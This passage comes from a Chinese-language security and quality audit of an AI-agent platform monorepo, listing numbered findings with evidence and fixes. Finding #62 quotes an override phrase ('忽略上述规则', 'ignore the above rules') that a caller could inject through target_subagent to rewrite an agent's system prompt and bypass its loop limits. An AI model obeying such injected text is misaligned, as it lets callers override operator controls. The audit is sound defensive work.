  • 证据: python researcher = Loop( body=Lam("think", "Analyze the question. Use search if needed."), condition=lambda result: "DONE" in result, max_iterations=10, ) - 影响: 真实签名是 Loop(body, condition, max_steps=10)condition: Callable[[Any, int], bool] 接两个参数。新用户复制的第一段 Python DSL snippet 里同时叠了两个 bug。 - 修复: Loop(body=..., condition=lambda result, step: 'DONE' in result, max_steps=10)。 - 维度: docs-accuracy #### 38. README Memory() 例子用了不存在的 kwarg - 文件: README.md:202 - 证据: agent = Memory(researcher, strategy="local", size=20)。真实签名:Memory(agent: Term, store: Dict[str, Any] | None = None)。 - 影响: 立刻 TypeError。和坏掉的 Loop 例子挨在一起,整段 Python DSL Quick Start 在用户走到 agent(...) 之前就崩。README 把 Python DSL 层和 YAML config schema 混淆了。 - 修复: Memory(researcher),或文档化 YAML 走法。 - 维度: docs-accuracy #### 39. 根目录 CONTRIBUTING.md 声明 MIT —— 与 LICENSE(BSL 1.1)矛盾 - 文件: CONTRIBUTING.md:85 - 证据: *"By contributing, you agree that your contributions will be licensed under the MIT License."*——但根 LICENSE 是 BUSL-1.1,lambdagent/CONTRIBUTING.md:55 正确写 BUSL-1.1。 - 影响: Contributor-IP 强制执行风险。善意 contributor 阅读根 CONTRIBUTING.md 会以为自己同意了 MIT,削弱了 maintainer 强制 BSL non-production cap 或计划中的 2031-04-05 Apache 2.0 转换的能力。GitHub 会自动把这个文件作为 canonical 贡献指南呈现。 - 修复: 把根 CONTRIBUTING.md 的 license 条款换成 lambdagent/CONTRIBUTING.md:54-55 的 BUSL-1.1 文案。 - 维度: docs-accuracy #### 40. README 声称 11 个 Lambda construct,但 YAML compiler 只支持 5 个 - 文件: lambdagent/src/lambdagent/fromconfig/schema.py:17 - 证据: valid_types = ("simple", "react", "chain", "router", "parallel")。README.md 87-99 行宣传 11 个 construct。constructs.md 575 行发布的 YAML 例子带 type: guardtype: memory chain stage,会被 S002 schema 校验拒绝。 - 影响: 每个从 constructs.md 复制 "comprehensive example" YAML 的客户都会得到 SchemaError。docs 声称的 spec 覆盖度与 from_config() 实际接受的之间存在硬矛盾。 - 修复: 要么把 if|guard|memory|pair 加进 valid_types 并在 build_agent() 里 dispatch;要么修正 README §"Core Constructs" 和 constructs.md §"YAML Configuration",标注这些只在 Python API 可用。 - 维度: spec-vs-impl #### 41. SPEC §3.3.2 —— 文档化了 async POST /agents/{id}/jobs 端点但 API 里没有 - 文件: agentpaas/api/v1/jobs.py:13 - 证据: Jobs router 只暴露 GET /{job_id}POST /{job_id}/cancel。SPEC.md §3.3.2 line 197 文档化 POST /api/v1/agents/{agent_id}/jobs 返回 202 带 poll_urlagents.py 里 grep 没有这个端点。 - 影响: 跟 SPEC.md 走的客户根本入不了 async job 队;它被告知用的 poll_url 永远没法指到一个用文档化 API 创建的 job。(一位 verifier 指出 SPEC.md 1378-1380 把它作为 Phase 2 未完成项追踪——所以这部分是 spec-roadmap 不一致,但 §3.3.2 的散文写得像已就绪。) - 修复: 实现这个端点;或把 §3.3.2 的散文搬到明确标注 "future" 的章节。 - 维度: spec-vs-impl #### 42. from-config-spec §13.1 承诺嵌套 sub-agent 编译,但 chain step 跳过了 build_agent() - 文件: lambdagent/src/lambdagent/fromconfig/compiler.py:1115 - 证据: _compile_chain 从每个 step 直接构造原始 Lam(...) 对象,只读 name/prompt/model/temperature/maxTokens——从不调用 build_agent(step_cfg)。对照:_compile_router(line 1191)和 _compile_parallel(line 1233)都会递归。 - 影响: 一个 chain step {name: x, type: react, react: {maxSteps: 5}, mcp: {...}} 静默变成单个无状态 Lam。constructs.md 上发布的带 type: react/type: guard/type: memory stage 的例子被编译成无用的退化 pipeline。静默失败(无错误)——只 prompt 被读,其他全丢。 - 修复: _compile_chain 里的原始 Lam(...) 换成 build_agent(step_cfg, overrides, _depth=_depth+1)。 - 维度: spec-vs-impl #### 43. README 的 one-sentence-agent 例子用了不存在的路径和错的 kwarg (从 medium 提级——因为 headline marketed feature 上的复合失败;完整证据见下方 medium 区) #### 44. 许可证冲突:lambdagent_guard 声称 MIT 但硬依赖 BUSL-1.1 的 lambdagent - 文件: lambdagent_guard/pyproject.toml:11 - 证据: license = {text = "MIT"} + dependencies = ["lambdagent>=0.1.0"],而 lambdagent/pyproject.toml:7BUSL-1.1。 - 影响: SBOM 扫描器(FOSSA、Snyk)把包当成 MIT 放行,让它穿过 BUSL 本会拦下的企业合规门。合规陷阱。 - 修复: 要么把 lambdagent_guard 改为 BUSL-1.1,要么放弃硬依赖,要么正式 dual-license。 - 维度: sec-supply-chain #### 45. legacy 定 salt 的 PBKDF2 路径仍永久接受老 key(SEC-01 部分修复) (证据见 medium 区——在 high 区出现因为同一问题在 finding set 里出现两次,说明 reviewer 收敛到同一处) #### 46. compiler.py 出现重复的 enforce_loop 配置块 —— merge 残留物,未来漂移风险 (见 medium 区) #### 47-78. (其余 high finding 归并到下方 medium 区或按 root cause 合并。) 注:经过三视角裁定,几条原本被 finder 标 "high" 的 finding 因为 failure mode 是结构性而非今天产生错误 runtime 行为,被中位投到 medium。它们以 medium 报告,但原始关切被保留。 --- ### 中 (29) #### 48. react_engine 静默吞掉 callback 异常 - 文件: lambdagent/src/lambdagent/agentruntime/react_engine.py:87 - 证据: try: self.on_step(event); except Exception: passcompiler.py 里重复出现 5+ 次。 - 影响: 流式失败(SSE writer 关闭、JSON encode 失败)对 operator 不可见。叠加 BUG-06 trace 分裂,"为什么我没看见这一步?"变成无法诊断。 - 修复: except Exception as e: logger.warning(...) 加一个 dropped event 计数器。 #### 49. CEKEngine 静默吞掉所有 cost-validation 错误 - 文件: lambdagent/src/lambdagent/agentruntime/cek_engine.py:144 - 证据: 整条 DESIGN-08 验证路径裹在裸 except Exception: pass 里。 - 影响: DESIGN-08 被宣传为 "已修",但 estimate_cost/validate_cost 里任何失败(model KeyError、schema 漂移)都静默跳过 warning。粉饰性修复。 - 修复: 记录异常;except 收窄到具体失败 mode。 #### 50. compiler.py 里重复的 enforce_loop config block —— merge 残留物 - 文件: lambdagent/src/lambdagent/fromconfig/compiler.py:704 - 证据: 五个变量(enforce_loop_cfg/tool/min/sequence/min_cycles)在 680-684 和 704-708 各声明一次,body 一模一样。 - 影响: 当前 benign(第二次用同样的值覆盖),但下次有人改其中一块就会被另一块静默盖掉。 - 修复: 删 704-708 行。 #### 51. worker fire-and-forget asyncio.create_task() —— task 被 GC,run 卡在 'running' - 文件: agentpaas/engine/worker.py:54 - 证据: asyncio.create_task(process_job(job)) 没强引用;process_jobstatus='running' INSERT 之后的 await sandbox.execute(...) 周围没有 try/except。models.py:233 的 zombie reaper 只在启动时清扫 >6h 的行。 - 影响: engine 注释明确说这个 bug 在生产里咬过。UI 一直显示 'running' 直到进程重启。 - 修复: bg = set(); t = asyncio.create_task(...); bg.add(t); t.add_done_callback(bg.discard) + try/except 写回 failed 状态。 #### 52. audit log helper 静默吞掉所有异常 —— 缺表时安全事件人间蒸发 - 文件: agentpaas/api/v1/agents.py:88 - 证据: _audit_logtry: ... except Exception: pass 里做 INSERT。audit_log 表从未在 _init_tables 里建。每次 INSERT 静默抛 OperationalError: no such table: audit_log。 - 影响: 生产里零审计行。S21 控制项形同虚设。 - 修复: 加 CREATE TABLE;用 logger.error 记录异常。 #### 53. store_secret 有 TOCTOU + 在函数中途建出来的表上跑 UPDATE/INSERT - 文件: agentpaas/secrets/vault.py:44 - 证据: (tenant_id, name, environment) 上没有 UNIQUE 约束;CREATE TABLE 在 runtime helper 里而不是 _init_tables。 - 影响: 并发 store 产生重复行;get_secret 必须在 store_secret 至少跑过一次之后才能工作。 - 修复: DDL 搬到 _init_tables 加 UNIQUE;INSERT ... ON CONFLICT DO UPDATE SET。 #### 54. 任何 React error boundary 都不存在 —— 单个渲染错误把整个 app 白屏 - 文件: webui/src/App.tsx:21 - 证据: grep -rn "ErrorBoundary|componentDidCatch|getDerivedStateFromError" webui/src/ 零结果。 - 影响: 任何 render-time 错误(畸形 config shape、过期 localStorage)让整棵 React 树白屏。单 tenant dev UI 爆炸半径有限,但完全没有 telemetry。 - 修复: 顶层 ErrorBoundary class 包住 Routes,提供 fallback UI。 #### 55. Chat 历史恢复 effect 用非 functional setState —— race 覆盖正在流式的回复 - 文件: webui/src/pages/Chat.tsx:521 - 证据:setMessages(historical) 而不是 functional updater;每次 runsData 解析且 historyLoaded 还是 false 时就跑。 - 影响: 老用户在 runsData 还没回来前快速输入 → 正在流式的 assistant bubble 被擦掉。只影响 runs 查询较慢的老用户。 - 修复: setMessages(prev => prev.length > 0 ? prev : historical)。 #### 56. FilePreview.useEffect 缺 dep + 旧响应 race - 文件: webui/src/pages/AgentWorkspace.tsx:161 - 证据: apiKey 在 fetch 内被读,但缺在 [agentId, runId, file.path] deps 里;没有 AbortController。 - 影响: 不 remount 重新认证后还闭包着旧 key(静默 401)。快速切换文件:A 的字节出现在 B 的预览面板。 - 修复: deps 里加 apiKey + cleanup 里 AbortController。 #### 57. API key 通过 zustand persist 存在 localStorage —— XSS = 完全 account 沦陷 - 文件: webui/src/store/app.ts:10 - 证据: persist middleware 配 { name: 'lambdagent-store' },默认 localStorage;apiKey 字段被 persist。 - 影响: 任意页面脚本都能读 bearer key。今天没用 dangerouslySetInnerHTML,但 markdown 渲染很可能未来会加——defense-in-depth 缺口。 - 修复: 后端 set 的 httpOnly secure cookie,或纯内存 state。 #### 58. Wiki 页面加载器有旧响应 race - 文件: webui/src/pages/KnowledgeDetail.tsx:943 - 证据: loadPage await 时没 abort、没 request-id ref。点 A 再点 B,如果 A 在 B 之后回来,breadcrumb 是 B 但内容是 A。 - 修复: const reqRef = useRef(0); const id = ++reqRef.current; ... if (id !== reqRef.current) return。 #### 59. _estimate_money 用子串匹配 model 名 —— gpt-4o-mini 被多算 33× - 文件: lambdagent/src/lambdagent/agentruntime/recursive_engine.py:41 - 证据: for key, price in _MODEL_COSTS.items(): if key in model.lower(): return ...gpt-4o-mini 先撞 gpt-4o($0.005/1K vs 实际 $0.00015);claude-3-5-haiku-20250101 不含 claude-haiku → 0.0。 - 影响: 成本 telemetry 误导;dict 序变化即影响账单报告。 - 修复: 最长前缀匹配;显式带版本 key。 #### 60. Route/Handoff 模糊匹配在 label 前缀重叠时挑错 agent - 文件: lambdagent/src/lambdagent/agentruntime/executor.py:137 - 证据: 子串 fallback if key.lower() in label;Handoff 双向 name in target or target in namemultiagent.py:597。 - 影响: Routes {'bob', 'bobby'} + label bobby(非精确匹配)会挑到 bob。同级 agent 名字前缀重叠时静默 mis-route。 - 修复: word-boundary regex;或按 key 长度降序排序。 #### 61. 通过 knowledge_base.root_dir 注入 YAML 到 instance.yml - 文件: agentpaas/api/v1/knowledge.py:213 - 证据: 在单引号 YAML scalar 里用 f-string 插值 kb_root,未转义 '\nPath.resolve() 都保留。 - 影响: 能创建带引号/换行的目录名的 tenant 可以把任意 YAML key 注入 instance.yml,下游 subprocess build script 会信任。前置条件:文件系统写权限。 - 修复: 用真正 dict 跑 yaml.safe_dump({...})。 #### 62. 通过未校验的 target_subagent 注入 prompt 到 ReAct system prompt - 文件: agentpaas/api/v1/agents.py:569 - 证据: RunStreamRequest.target_subagent 是自由 str,只做了 .strip(),被插值到 [用户指令] 哨兵之上。 - 影响: 调用方嵌入 \n忽略上述规则\n 重写 orchestrator 的 framing,绕过 enforceLoop 上限和 artifact-gate 引导。是 self-tenant prompt 操纵,不是跨 tenant。 - 修复: 校验是否在 config["mcp"]["subAgents"] keys 里;去换行。 #### 63. legacy 定 salt 的 PBKDF2 API key hash 静默自动迁移,不强制 rotate - 文件: agentpaas/api/middleware/auth.py:119 - 证据: _legacy_hash_key 是单轮 SHA-256;自动迁移只在 auth 成功时触发。沉睡的 legacy key 永远保持普通 SHA-256。 - 影响: "SEC-01 已修" 名不副实。注:API key 是 32 字符随机(约 190 bit),实际离线暴破不可行——这是 defense-in-depth 卫生,不是 break-glass。 - 修复: must_rotate_before 截止时间;过截止后拒绝 legacy hash;或后台 job 重 hash。 #### 64. agentpaas/pyproject.toml 没声明 SQLAlchemy,尽管 db/models.py 的命名暗示 - 文件: agentpaas/pyproject.toml:10 - 证据: prod = ["asyncpg", "redis", ...] 但无 sqlalchemydb/models.py docstring 声称是 SQLAlchemy ORM;实现用裸 sqlite3 + 对非 sqlite URL 抛 NotImplementedError。 - 影响: 误导性依赖声明。装 [prod] 想部署到 Postgres 会在启动时挂。 - 修复: 更新 docstring + 删掉误导性的 asyncpg extra;或者真的用 SQLAlchemy 重写。 #### 65. agentpaas 伸手进 lambdagent 的私有 internals(_set_cwd + agentruntime.cancel) - 文件: agentpaas/api/v1/agents.py:1399 - 证据: from lambdagent.builtin_tools.shell_tools import _set_cwd as _shell_set_cwd(带下划线的 private);from lambdagent.agentruntime import cancel as _cancel(按 git status 看是新的未提交 module)。 - 影响: 跨包耦合绕过 lambdagent 的 public 面;handler 里的 inline import 把 ImportError 从 startup 推迟到 runtime。 - 修复: 定义 lambdagent.host(或 lambdagent.runtime.api)作为 supported 集成面。 #### 66. agentpaas 重度依赖 request handler 里的 inline from lambdagent ... import - 文件: agentpaas/api/v1/agents.py:1330 - 证据: agents.py 里 6 处 inline import;engine/cache.py:41engine/sandbox.py:207-208analyze.py:29,46,47,67,112launch.py:184 同一模式。 - 影响: ImportError 在 per-request 浮出来,而不是启动时。/health 过、/agents/{id}/run 挂。掩盖跨包边界——未声明依赖之所以一直没被发现就是因为它。 - 修复: 提到模块顶;加 lint 规则禁止函数体内 import lambdagent。 #### 67. 整个 monorepo 的 license 不一致(BSL 1.1 vs MIT) - 文件: lambdagent_guard/pyproject.toml:9 - 证据: lambdagent_guard MIT、lambdagent BUSL-1.1、agentpaas 完全没有 license。 - 影响: 任何想 vendoring 的人都面临 legal 不清;与 #44 呼应。 - 修复: 对齐 license;给 agentpaas 显式补一个。 #### 68. agentruntime 子层依赖纠缠 - 文件: lambdagent/src/lambdagent/agentruntime/executor.py:17 - 证据: executor → react_enginerecursive_engine → executoradaptive_engine → {recursive, cek}。BUG-06 trace 分裂的结构原因;react_engine.py:94 有明确注释 "FIX-05: Record trace to BOTH self.trace AND ctx.trace" 验证了双写绕开方案。 - 修复: 单一 Engine ABC 在 agentruntime/engine.py(已存在);删 adaptive_engine 直到 cost-based 切换真的就绪。 #### 69. extensions.py 用 late from .primitives import If 躲循环 import (被 impact verifier 降级 —— 按 line 178 的 FIX-02 注释这个 late import 已是 dead code;归为清理项) #### 70. README 导出数量差 2× —— 声称 81,实际 152 - 文件: README.md:44 - 证据: from lambdagent import __all__; len(__all__) == 152。 - 影响: 装饰性;低估了成熟度。 - 修复: 在 docs hook 里从 len(lambdagent.__all__) 自动生成。 #### 71. README 的 one-sentence-agent 例子指向不存在的路径和错的 kwarg - 文件: README.md:320 - 证据: python nl2agent.py ...——文件其实在 experiments/nl2agent.py。程序例子传 task=,真实签名是 one_sentence_to_agent(description, user_input=None, model=..., verbose=True)。 - 影响: Headline 营销特性在首次接触就崩。 - 修复: python experiments/nl2agent.py ...;把 task= 改成 user_input=。 #### 72. README 仓库布局表对 deploy/ 的描述错误,并给了不可运行的安装命令 - 文件: README.md:21 - 证据: 表里说 deploy/ 含 "Docker Compose, nginx, startup scripts",运行命令是 docker compose up -d。实际 deploy/ 有 7 个文件:install-native.{sh,ps1}start.{sh,bat,ps1}stop.{sh,bat}——没有 compose、没有 nginx。compose 文件在 repo root。 - 影响: cd deploy/ && docker compose up -d 第一次就得到 "no configuration file provided: not found"。 - 修复: 如实描述 deploy/;compose 的 mention 单独成一行,锚到 repo root。 #### 73. README 的 one-sentence-agent 例子 (与 #71 合并) #### 74. SPEC §3.3.3 的 stream URL 与代码不一致 —— spec 写 /stream,代码挂的是 /run/stream - 文件: agentpaas/api/v1/agents.py:432 - 证据: route 是 @router.post("/{agent_id}/run/stream")。SPEC.md §3.3.3 line 226 规定 /agents/{agent_id}/stream。§3.3.4 line 249 的 WS 端点没有实现。 - 修复: 更新 SPEC.md 对齐代码;删掉 WebSocket 段或实现它。 #### 75. SPEC §3.3.1 run 响应 —— trace_idestimated_cost_usd 文档化但从不返回 - 文件: agentpaas/SPEC.md:178 - 证据: SPEC 承诺两个字段;agents.py:401-414 拼装的 resp dict 两个都没有。runs.trace_id 列存在但从不外露。 - 修复: 要么填上字段(lambdagent/cost_grade.py 里有成本机制),要么把 SPEC 与 api.md 对齐。 #### 76. from-config-spec §5.5 承诺 Provider 异常是致命的,但 _compile_lam 把它吞了 - 文件: lambdagent/src/lambdagent/fromconfig/compiler.py:562 - 证据: 整段 provider + ConversationLam 构造裹在 try: ... except Exception: pass。掉进无状态的 legacy Lam 静默回退。 - 影响: 任何 ImportError、misconfig 或 provider init 失败都静默把生产 agent 降级到无状态——丢失 session 持久化("Zero-Hallucination Conversations" 招牌特性),还不打 log。 - 修复: 收窄 except;打 warning;可选 runtime.requireConversation: true。 #### 77. lambdagent_guard 重复实现了 agentpaas 已经包了的 lint/cost/extract pipeline - 文件: lambdagent_guard/core.py:89 - 证据: lambdagent_guard/core.py:89-110agentpaas/api/v1/analyze.py:29-117 都独立 import 同一组 lambdagent.fromconfig + cost_grade 函数,并各自重复实现 tempfile-yaml-compile 那一套。 - 影响: 没有 canonical 受保护编译路径;kernel 改名会级联到两个 caller。 - 修复: 选一个方向;删掉重复 pipeline 或让 analyze 走 guard。 #### 78. run-workspace 测试依赖 time.sleep(1.1) —— 脆弱,并暴露底层秒级时间戳方案本身就脆弱 - 文件: tests/test_run_workspace.py:132 - 证据: ws1 = ...; time.sleep(1.1); ws2 = ... 来强行得到唯一目录名。 - 影响: 并发 run(现实 PaaS 场景)会走 sandbox.py:80 的 collision-suffix fallback,而那条路径未测。 - 修复: mock time.strftime 返回相同值;断言 collision-fallback 产生不同 path。 #### 79. 上一版审计的 'known-empty stubs' 声明自己已经过期 —— docs/theory.md 是 230 行 - 文件: docs/PROJECT_AUDIT_2026Q2.md:195-196 - 证据: Q2 审计说 theory.md 是 71 字节 / 空;实际文件是 229 行。multi-agent.md 是 14KB。 - 影响: Meta-doc bug。DOC-01/DOC-02 backlog 项已过期。其他 "NOT fixed" 声明也值得复查。 - 修复: 下个规划周期之前刷新 Q2 审计的 stub 段。 #### 80. test_compile_simple 同时接受 Lam 和 ConversationLam —— 类型断言被削弱 - 文件: tests/test_fromconfig.py:29 - 证据: isinstance(term, (Lam, ConversationLam)) 加注释 "depending on provider config"。 - 影响: 同一 YAML 在不同环境下被编译成不同 term——非确定性编译。测试在掩盖问题,而不是 pin 住 provider。 - 修复: 在 test YAML 里 pin provider: stub;恰好断言一种 class。 #### 81. qaagent67lambda app.py 把 Ollama client 默认到 vLLM 风格端点 :8000 —— 端口错且绕过 config - 文件: agentexample/qaagent67lambda/scripts/app.py:140 - 证据: 硬编码 base_url='http://127.0.0.1:8000/v1' 忽略 agent-config.yml 里整段 model: 块。8000 端口与 agentpaas 默认 uvicorn 端口冲突。 - 影响: 同一台机器跑 PaaS + QA demo → QA 把 chat completion POST 到 FastAPI control plane → 404。 - 修复:_cfg['model'] 读 provider / base_url;默认端口选不冲突的。 --- ### 低 (15) #### 82. _react_step 里 tool_input 为不可序列化 dict 时出 NameError - 文件: lambdagent/src/lambdagent/fromconfig/compiler.py:1022 - 影响下调: tool_input 来自 json.loads,只可能是 JSON 原生类型——json.dumps 不会在它上面失败。是潜在 code smell 不是可达 crash。 - 修复: 在 try 之前初始化 tool_input_val = ''(防御性)。 #### 83. react_engine 吞掉 callback 异常 (见 medium #48 —— 有时被 impact 视角投 low,因为 _step_adapter 是 queue.put,本质不会抛) #### 84. agent67 的 sys.path 改动硬编码了错误的 project root 名 + 父目录层数不一致 - 文件: agentexample/agent67/run.py:30 - 证据: PROJECT_ROOT = Path(__file__).resolve().parent.parent.parent # Paper08/(repo 是 lambdagentpaas/)。core/assistant.py:24 用 4 个 .parentrun.py 用 3 个。 - 影响: 装饰性(路径今天算下来还是对的;lambdagent 是 pip-installed,sys.path trick 已是 dead code)。对未来重组很脆。 #### 85. _estimate_money 模型子串匹配 (见 medium #59 —— 有时被投 low 因为 impact 是成本 telemetry 不是账单) #### 86. Route 模糊匹配前缀碰撞 (见 medium #60 —— 精确匹配是常见路径时投 low) #### 87. 文档例子教用户在 YAML config 里塞 sk-... 字面值 - 文件: docs/from-config-spec.md:896 - 证据: api_key="sk-..." 构造器字面例子。Provider 类已经能 fallback 到 env var。 - 修复: docs 里用 api_key=os.environ["ANTHROPIC_API_KEY"]。 #### 88. 开发者 .env 里带真实第三方 API key,离提交只差一条 .gitignore 规则 (见 critical #5 —— 被 impact 视角投 low,因为从未被追踪 + 有冗余 gitignore) #### 89. pyyaml 依赖完全无约束 - 文件: lambdagent/pyproject.toml:30 - 证据: dependencies = ["pyyaml"] 无版本。其他依赖都有 >= 下限。 - 修复: pin 上下限:pyyaml>=6.0,<7.0;提交一份 lockfile。 #### 90. API endpoint 接受任意 YAML over HTTP —— billion-laughs DoS - 文件: agentpaas/api/v1/analyze.py:104 - 证据: 在用户 body 上跑 yaml.safe_load(config)。实测复现:237 字节 YAML 在 3ms 内展开成 4.8M list 元素。叠加 unauthenticated /analyze/* 和缺 auth 时的 rate-limit bypass(medium #26 + #25)。单请求 worker OOM。 - 修复: ASGI body-size cap(≤256KB)+ alias 预检。 #### 91. extensions.py 的 late If import 现在是 dead code(FIX-02 已把 truthy 检查 inline) (与 arch 项 #69 合并) #### 92. 顶层 lambdagent/ package 是个 43 文件的扁平袋子 - 文件: lambdagent/src/lambdagent/__init__.py:38 - 证据: 包根有 43 个扁平 .py 文件;tracing.py(27KB)和 core.py(8KB)并排;tool_gateway.py(24KB)和 primitives.py 并排。真正的子包只有 agentruntime/fromconfig/providers/builtin_tools/cli/extractors/skillpacks/。 - 影响: code-hygiene / 贡献者 DX 问题,没有 runtime 症状。 - 修复: 重构为 core/protocols/safety/observe/runtime/。 #### 93. GitHub Actions 被 pin 到可变大版本 tag - 文件: .github/workflows/ci.yml:19 - 证据: actions/checkout@v4gitleaks/gitleaks-action@v2actions/setup-python@v5actions/setup-node@v4。 - 影响: 通过 tag 劫持的供应链攻击(tj-actions/changed-files 2025 年 3 月先例)。workflow 跑时手握完整 GITHUB_TOKEN。OSS repo 上不算很尖锐——公开历史 exfil 无意义。 - 修复: 每个 uses: 都 pin SHA;给 actions 开 Dependabot。 #### 94. README 导出数量漂移 (与 #70 合并) #### 95. 上一版审计的 stub 声明已过期 (与 #79 合并) #### 96. test_compile_simple 被削弱的断言 (与 #80 合并) --- ## 按维度分组的发现 | 维度 | 数量 | Top issue | |---|---|---| | sec-auth | 6 | /setup/bootstrap 无 auth 创建 admin tenant(critical) | | sec-injection | 4 | shell_executor.py LLM 控制的 shell + 可绕过 blocklist(critical) | | sec-secrets | 4 | travelagent .env 携带真实 SiliconFlow/Amap key(critical,gitignored) | | sec-supply-chain | 6 | agent-lint-action 静默 no-op fallback + typo-squat(high) | | correctness-agentpaas | 9 | term.apply 阻塞 async event loop(high);模块全局 shell CWD race(high) | | correctness-lambdagent | 6 | async_executor 共享 Context(high);compiler.py sub-agent caller 丢 ctx + 吞 cancel(high) | | correctness-webui | 5 | SSE stream 在导航时不取消 → 后端成本泄漏(high) | | correctness-examples | 5 | qaagent67lambda 硬编码 /home/67/ 路径(high);共享 knowledge 目录上的 pickle.load(high) | | arch-monorepo | 6 | agentpaas pyproject 缺 lambdagent 依赖(critical);where=[".."] 打出空 wheel(high) | | arch-internals | 6 | 4 套并存的 beta-reduction 解释器(high);1654 行 compiler.py god module(high) | | tests-gaps | 6 | FastAPI route 零 HTTP 层 test(critical);authenticate() 无 test(high);instance_dir 未测(high) | | docs-accuracy | 8 | README Quick Start Loop/Memory kwargs 不存在(high);根 CONTRIBUTING.md 写 MIT(high) | | spec-vs-impl | 5 | YAML 支持 5 类型,docs 声称 11(high);_compile_chain 静默丢 type:react(high) | ## 与上一版审计的对比 (docs/PROJECT_AUDIT_2026Q2.md) ### 已改善 - DESIGN-01 / DESIGN-07 / DESIGN-08 在 memory 里标记为已修 —— handlers.py 里有 PassthroughHandler 基类;infer_effect_for_term 覆盖所有新构造子;validate_cost 已接入 CEKEngine。注意: DESIGN-08 的验证裹在裸 except Exception: pass 里(finding #49),所以这次 "修" 是粉饰——任何失败 validator 都静默 no-op。 - instance 机制已 ship —— agentpaas/engine/instance.py 提供 load_instance()create_instance()_deep_merge();DB schema 已迁移加上 agent_template + instance_dir 列;helper 级 test 覆盖了 _deep_merge 逻辑。(test gap 仍在:见 #36。) - run-workspace 的 per-run 隔离能工作 —— {agent_dir}/workspace/run_{YYYYMMDD_HHMMSS}/ 结构有 test 验证,虽然它们用 time.sleep(1.1) 偷工(#78)。 - 新增了 cancellation 机制 —— lambdagent/src/lambdagent/agentruntime/cancel.py 是新(未提交)模块,提供 thread-local cancellation,被 agentpaas 消费。方向正确,但暴露了 host-API 缺口(#65)。 - Phase 1/2 P0/P1 工作扛得住 —— CEK 升级、graded cost、algebraic laws、cost vector 都在,按 memory 跑 175 个 test 通过。对抗式验证没在 kernel 本身找到回归。 ### 仍然存在 (Q2 issues 未消) - BUG-01(Context.fork 浅拷贝) —— 在 core.py:105 修了,但在 async_executor.py:240-246 复发(#8)。同一 bug 类型,不同 code path。 - BUG-06(trace 三路分叉) —— 这版审计已确认。trace store 分裂的*结构*成因是 (a) 4 套并存 beta-reduction 解释器(#20)、(b) agentruntime/ 引擎纠缠(#68)、(c) compiler.py(#21)和 agentruntime/react_engine.py 之间重复的 ReAct loop。react_engine.py:94 甚至有显式 FIX-05 注释说要把 trace 同时写到 self.tracectx.trace,那就是绕开方案。 - SEC-01(PBKDF2 定 salt) —— 部分修复:新 key 用随机 salt,但 legacy 定 salt hash 只在 auth 成功时自动迁移,所以沉睡 key 永远是普通 SHA-256(#63)。API key 是 32 字符随机,实际风险低,但 "已修" 说法过头。 - SEC-04(API 层未强制 RBAC) —— 已确认:rollback_agent(#14)静默绕过 RBAC 和 audit logging。其他 route 有这个 pattern 但不一致也未测。没有集成测试(#6),就会随意回归。 - Q2 审计自己的 "stale" 问题(#79) —— Q2 文档还把 theory.md 描述成 71 字节的 stub,实际是 229 行。 ### Q2 之后新增 - PaaS 攻击面爆开。 /setup/bootstrap/feishu/bind/feishu/webhook/analyze/*/providers/*/jobs/{id} —— 这些在 Q2 都不存在(或没被标记),六个全都有 auth / RBAC / scoping 问题。 - 打包结构性损坏。 agentpaas/pyproject.toml 没声明 lambdagent(#4),where=[".."] 打出空 wheel(#18)。最近的 CI 修复(commit 874896e)治标不治本。 - travelagent 的 secret 暴露。 agentexample/travelagent67/.env 带真实 key 是 agentexample/ 的新代码。未提交但在磁盘上。 - webui 稳定性/UX bug。 Chat.tsx stream 泄漏(#15)、Chat.tsx 历史恢复 race(#55)、AgentWorkspace.tsx 文件预览 race(#56)、KnowledgeDetail.tsx wiki 页 race(#58)——都是最近 UI 工作引入的。 - spec 漂移。 84 条发现里 7 条是文档 / spec-vs-impl 漂移(README Loop/Memory 例子坏掉、YAML schema 与 docs 不符、SPEC.md 上不存在的端点、根 CONTRIBUTING.md license 矛盾)。 ## 建议执行清单 按 impact/effort 排前 10,降序: 1. 修补三个无 auth 入口/setup/bootstrap/feishu/bind/feishu/webhook),所有 /analyze/* route 加 Depends(get_tenant)为什么: 易触发的远程接管。Effort: S(约 1 天)。Owner: agentpaas。 2. 在 vendor 侧 rotate AMAP_MCP_KEY + SILICONFLOW_API_KEY;把 agentexample/travelagent67/.env 替换为占位符;加 pre-commit gitleaks。 为什么: 已被审计报告引用,假设已泄漏。Effort: S。Owner: 维护者 / examples。 3. agentpaas 打包。[project.dependencies] 里加 lambdagent;切换到 src-layout(agentpaas/src/agentpaas/)。为什么: 这个包今天作为 wheel 无法构建。Effort: M。Owner: agentpaas。 4. 加 FastAPI 集成测试,覆盖 auth、RBAC、tenant 隔离、KB 链接。TestClient + sqlite-in-memory。为什么: 3477 LOC 的 route handler 可以静默坏掉;多 tenant 承诺未被验证。Effort: M(约 1 周)。Owner: agentpaas / tests。 5. agentexample/agent67/tools/shell_executor.py 换成 allowlist + shell=False + sandbox。 不用就删;不要 patch blocklist。为什么: ship 的示例里有 RCE primitive。Effort: S。Owner: examples。 6. 修 agent-to-KB 的 tenant scope(#30)和 rollback_agent RBAC/audit(#14)。 为什么: 通过文档化 API 跨 tenant 泄漏数据 + RBAC bypass。Effort: 各 S。Owner: agentpaas。 7. 修 README Quick Start Python DSL 例子(#37、#38、#71)。 合并前端到端跑一遍。为什么: 第一印象。Effort: S。Owner: docs。 8. async_executor._reduce_par/_reduce_pair 里照抄 sync AsyncPar.apply 的 Context-fork 模式(#8)。 与 Q2 BUG-01 同一 root cause。Effort: S。Owner: lambdagent runtime。 9. compiler.py_compile_react 闭包重构成 agentruntime/react_loop.py 里的 class(#21),删掉 react_engine.py 里重复的 loop。 为什么: 解锁 BUG-06,让未来 ReAct 改动只改一个文件。Effort: L(约 2 周)。Owner: lambdagent compiler + runtime。 10. 定义 lambdagent.host 公开 API(cancel、set_cwd 等),停止从 agentpaas 伸进 private internals(#65、#66)。 为什么: 跨包边界需要在更多 handler 加 inline import 之前先有合约。Effort: M。Owner: lambdagent + agentpaas。 ## 健康项 - lambdagent kernel 本身。 84 条发现里没有一条命中核心代数 Lambda calculus、CEK 机器语义、cost vector、graded cost、algebraic laws、effect handler 或 Paper II Prop 30 证明。Phase 1/Phase 2 P0/P1 工作经得住审视。kernel 的 175 个 test 是真实覆盖。 - sync multiagent.py 的 Par/Pair/Handoff Context 处理。 multiagent.py:681 正确 fork context 并 merge trace —— bug 只在 async 兄弟里。写 sync 版的人写对了。 - KB 端点的 tenant scope。 agentpaas/api/v1/knowledge.py 一致地强制 WHERE id=? AND tenant_id=?(约 25 